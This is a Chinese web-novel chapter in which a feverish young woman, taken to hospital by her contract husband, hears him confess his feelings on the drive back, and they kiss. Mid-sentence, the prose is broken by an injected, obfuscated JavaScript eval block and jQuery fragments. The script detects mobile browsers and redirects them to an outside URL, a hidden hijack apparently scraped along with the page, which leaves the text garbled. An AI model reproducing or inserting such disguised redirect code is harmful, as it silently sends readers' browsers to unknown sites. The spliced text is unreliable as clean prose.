客厅的电视还在不知疲倦地播放着动画片,屏幕的光忽明忽暗。落地窗外,万家灯火像黑暗里浮动的碎钻,安静闪烁。
沙发角落里,苏青黛睡得很沉。
许是感觉到冷,她把抱枕抱得紧紧的,脸颊几乎埋进柔软的布料里,眉心无意识地蹙着,像是在梦里遇到了什么烦心事。
梅祥推门进来的动静,只让她眉头蹙了蹙,却没有转醒的迹象。
他放轻脚步走到沙发前,看着蜷缩成一团的女孩子。屏幕变幻的光影在她脸上流淌,觉察到她额头沁出薄汗,他快速伸手碰了碰她的脸。
很烫。
脸上带着凉意的触感让苏青黛猛地惊醒,猝不及防对上梅祥幽深的目光,她下意识往后缩了缩。
“是我。”
梅祥的声音比平时低沉,带着刚结束会议的疲惫。他直起身子拨通了郑理的电话,简言意骇:“把车开到门口……嗯,她发烧了。”
“不用。”苏青黛慌乱地坐直身体,说:“我只是有点醉,那杯芒果汁是特调的酒水。”
她给姚瑶打电话那会,一不留神喝完了那杯果汁。也是后来酒劲上头以后,她才后知后觉的发现,为了确认她专门打了前台得电话,一问果真如此。
梅祥眉头簇起,他是听合作商的特意介绍,说果汁特调是他们酒店的特色,所以给苏青黛点了一杯。
没成想,居然是酒水特调,他扶额叹息:“抱歉,是我的错。但两个小时前你吃过药,又喝了酒,还是要去医院的。”
苏青黛的确觉得浑身像被火燎过一样难受,每一次呼吸都带着灼人的热气。她不清楚是酒精的后劲,还是又发烧了,于是没再推辞。怕他嫌自己麻烦,声音里带着歉意:“麻烦你了。”
梅祥转身往卧室走,随口应着:“我房里有温度计,你等会儿。”
苏青黛强撑着站起身,下意识从包里摸出身份证和手机收好。刚做完这些,梅祥就拿着体温计从卧室出来了。她偷偷抬眼瞄了下,总觉得他脸色算不上好看。
愣神间,她才迟钝地想起,开了这么久的会,他还没吃饭。于是脚步发虚,踉跄着绕开他就往厨房方向走。
梅祥刚要接过她手里的东西,就见人直直往厨房去,还以为她是渴了,伸手拉住她问:“是不是渴了?我去给你拿水。”
苏青黛摇摇头,鼻音重得像堵了棉花:“你还没吃饭,冰箱里有吃的,我去热一下。”
梅祥的眼神顿了顿,望着她因发烧而泛红的眼眶,心里像被什么东西轻轻撞了下,瞬间软得一塌糊涂。
手下的温度烫的惊人,他用温度计测了一下她额头,39.6。果然是高烧,他打横把人抱起来:“我不饿,听话,先去医院。”
一阵晕眩感袭来,苏青黛的手无意识就勾住了他的脖颈。
梅祥抱着人疾步出了房间。
直到被轻轻放在车后座上,苏青黛才恍恍惚惚回过神来:从十七楼到酒店门口这段路,梅祥一直抱着她,手臂竟稳得惊人,连脚步都没带半点喘息。
诊室里。
消毒水的味道在空气中弥漫得很浓,值班医生翻看着苏青黛的检查报告,眉头不自觉地蹙了起来:“你这肺炎的底子本来就没彻底好利索,偏偏吃了药后又不小心喝了酒,现在炎症明显反复,还发起高烧了。”他顿了顿,笔尖在病历本上快速游走,“得先打一针退烧针把体温控制住,我再重新给你调整药方,回去后一定要按时吃。”
苏青黛脸色还有些苍白,闻言轻轻点了点头。
排队打针,梅祥陪着她并排坐在走廊的椅子上,撑着她的肩膀。她烧得两颊绯红,额头抵在他肩头,呼吸间全是灼热的气息。
“快到了,坚持一下。”他声音很轻,指尖却悄悄收紧了力道,像是要通过这个动作传递某种力量。
等针打完,已经凌晨快一点。郑理提前回了酒店处理工作,回去的时候是梅祥开车。苏青黛窝在副驾驶座上,刚打的针还没有起效,身上温度灼热,感觉忽冷忽热。
“忍一忍,回酒店就能睡了。”他弯腰给她系安全带,从后座拿过一张毯子给她盖上。
她昏沉的半躺着,视线落在梅祥身上。明明很乏力,脑子却异常活跃。满脑子都是姚瑶在电话里问她的那句——你见过他的家人吗,你们打算什么时候办婚礼?
她心里清楚,正常夫妻该有的那些步骤,他们一样都没有。没有过小心翼翼的表白,没有过牵着手压马路的约会,没有一点点攒起来的感情基础,就那样直接扯了证,成了法律上最亲近的人。
飓风那天的惊险救援,还有熵界那次的紧急解围,是他出于人道主义的顺手帮忙,是骨子里的善良让他无法对困境中的人袖手旁观。
可后来得多次相处,他对她流露的那些熟稔与亲近,没有刻意的章法,裹着一种说不清道不明的温柔。
他到底是出于丈夫的责任,还是……藏着别的什么?这个问题在她昏沉发烫的意识里反复扎着,越琢磨越乱。
“在想什么?”梅祥突然开口,声音在静谧的车厢里格外清晰。
苏青黛被突如其来的声音惊得一颤,这才发现自己盯着他看了太久。她应该随便找个借口搪塞过去,可不知是高烧,还是酒精作用,她的理智防线似乎被融化,让那些平时绝不敢说出口的话溜了出来。
“我在想,我们。”她声音沙哑,停顿了一下,“你和我。”
梅祥指尖在方向盘上顿了一下,声音平稳:“什么意思?”
“就……”苏青黛努力组织着语言,尽管大脑像灌了铅一样沉重,“我今天和我最好的闺蜜讲了我们得事情,她叫姚瑶,在A城工作。”
车子驶过一个路口,红灯亮起,梅祥踩下刹车转头看她。他的眼睛在暗光下呈现出一种深邃的黑色,像无星的夜空。
“改天带我见见?”他问,语气松弛。
“好。”苏青黛喉咙发干,烧红的眼角微微扬起,她紧跟着说:“姚瑶她今天问了我很多……”
她絮絮叨叨的说着,有些是姚瑶问的有些是她自己现场编排的,直到最后她添了一句:“问我有没有见家长……”
后面的声音很小,但足够梅祥听清楚。
绿灯亮起,他重新看向前方,车子平稳启动,他的声音也平稳低沉:“这次回A城,我正准备带你去见见我的家人。"
这句话像块蜜糖猝不及防砸进心湖,苏青黛怔住。
半晌没听到她的声音,梅祥声音里带着点笑意:“怕了?”
“没……”她脸颊烧的绯红,今晚的胆子格外大,她微微歪着头,声音带着病中的沙哑,却有些执拗地想知道:“你,为什么对我这么好?”
梅祥无奈:“说什么糊话,这就叫好了?”
身侧传来她有些飘忽的声音:“你对我不好吗?”
这话问的梅祥一噎,索性不回答。他腾出一只手覆上她的额头,掌心下的温度依旧灼人。
这突如其来的亲昵让苏青黛心头一跳,随即又有些委屈地拉下他的手,他该不会觉得自己烧糊涂了吧?
她攥着他的手不肯放,指尖因为发烧而滚烫,眼神却异常认真:“我……我想知道答案。合约里说,你会履行丈夫该有的职责……所以,你对我好,只是因为责任吗?”
温热的触感从掌心传来,梅祥本想抽回手,可听着她语气里藏不住的小心翼翼,心底某处忽然软了下来。他放缓了声音:“你想听真话?”
苏青黛立刻往后挪了挪,努力把身子坐直,像是在迎接什么重要的宣判,用力点头:“嗯,我想听真话。”
恰在此时,前方红灯亮起,车子缓缓停下。
梅祥终于侧过头,撞进女孩子盛满期冀的眼眸里。她的睫毛因为紧张而轻轻颤着,像振翅欲飞的蝶。他抽出被她攥着的右手,抬手揉了揉她微乱的发丝,指腹不经意蹭过她的耳廓,声音清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049969|178895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晰又低磁,像浸了温水的丝绸:“是责任,也是心甘情愿。”
话音落下的瞬间,她眼底倏地炸开一片光亮,像是揉碎了的星辰忽然洒落,亮得惊人,也烫得他心头微颤。
那抹光太过耀眼,竟让他有片刻的恍惚。
绿灯跳亮的瞬间,后车的鸣笛急促地响起。
梅祥握着方向盘的手指紧了紧,目光却仍胶着在副驾的人身上。他喉结不自觉滚动了一下,视线掠过她烧得泛红的脸颊,微张的唇瓣,心底忽然涌起一股强烈的冲动,想俯身吻下去,尝尝她是不是和此刻的笑容一样甜。
可那念头刚冒出来,就被他强行按了下去。他瞥见她眼底未散的星光,那里面满是纯粹的信赖。他怕自己会吓到她,怕惊扰了这片刻的柔软。最终只是收回目光,踩下油门,车子缓缓汇入车流。
车厢里弥漫着一种微妙的安静。
苏青黛就那么巴巴地望着他,眼神专注又执着,像是在打量什么稀世珍品,生怕一眨眼,眼前的人就会凭空消失。她的视线从他握着方向盘的手,滑到他紧抿的唇,再到他线条分明的下颌,毫不掩饰的在意几乎要溢出来。
梅祥能清晰地感觉到身侧那道目光,被她看得心头发热。
车子稳稳滑入地下车库的车位,他轻踩刹车停稳,指尖在电子手刹按钮上轻轻一按,“咔嗒”一声轻响,车身彻底静止。
他侧过头,对上苏青黛弯着笑意的双眼,那里面还盛着方才未散的星光,带着点羞赧,又藏不住雀跃。只见她忽然往前凑了凑,声音带着点不确定的雀跃,又含着较真:“那……你刚才说心甘情愿,是不是说明……你也喜欢我呀?”
她的声音很轻,却像羽毛轻轻搔在心上。梅祥握着方向盘的手顿了顿,眼底的克制早已化作温柔的无奈。他定定地望进她眼底,喉间溢出一声低笑,清晰而肯定地承认:“嗯,喜欢。”
苏青黛忍不住弯起了嘴角,此刻的心里就像灌了蜜糖,甜的发齁,这种腻感急需找到一个出口,她眨了眨眼,视线不自觉落到他的薄唇上。
蓦然之间,她抬头,像蜻蜓点水般碰上去那片柔软,又很快退回来。
梅祥眸色一变,胸口压抑着情愫快要冲破禁锢。他倾身靠近,温热的呼吸先一步落在她的脸颊。他望着她微张的唇瓣,那上面还带着病后的薄红。最终他缓缓俯身,动作带着刻意的克制,轻轻吻了上去。
怕吓到她,他只是浅尝辄止的轻轻触碰。可就在他准备退开时,苏青黛却忽然伸出舌尖,柔软的触感轻轻扫过他的唇角。带着一丝试探,又带着不自知的撩拨。
那一下轻触像点燃了引线,瞬间炸开了他所有的克制。梅祥眸色骤然变深,喉咙缓缓滑动,下一秒便加深了这个吻。不再是方才的温柔浅触,而是带着压抑许久的汹涌情意,辗转厮磨,将她的呼吸一点点卷入口中。
他一手扣着她的后颈,让她更贴近自己,另一只手则扶住她的腰,指尖不自觉地收紧,像是要将她揉进身体里。
苏青黛被他吻得浑身发软,起初还笨拙地回应着,到后来只能任由他带着节奏,睫毛轻颤着,眼底渐渐蒙上一层水汽,迷蒙得像含着雾。直到她快喘不过气,他终于稍稍退开,额头抵着她的,两人都在微微喘息。
她望着他近在咫尺的深眸,声音细若蚊吟,带着点委屈的鼻音小声抗议:“你……你好凶。”
梅祥低笑一声,终于放开她,指腹轻轻摩挲着她被吻得红肿的唇瓣,眼底的情意浓得化不开,嘴上却带着点狡黠的纵容,故意倒打一耙:“明明是你先勾我的。”
后腰被禁锢的力道松开,苏青黛软软地倒回座椅里,浑身脱力般靠在椅背上,脸颊绯红得能滴出血来。
她飘忽着视线不敢看他,狡辩着:“哪有……”
温热的气息交缠在狭小的车厢,地下车库的静谧成了此刻的背,只剩下彼此急促的心跳和空气中弥漫的甜腻暧昧,缠缠绵绵地将两人包裹。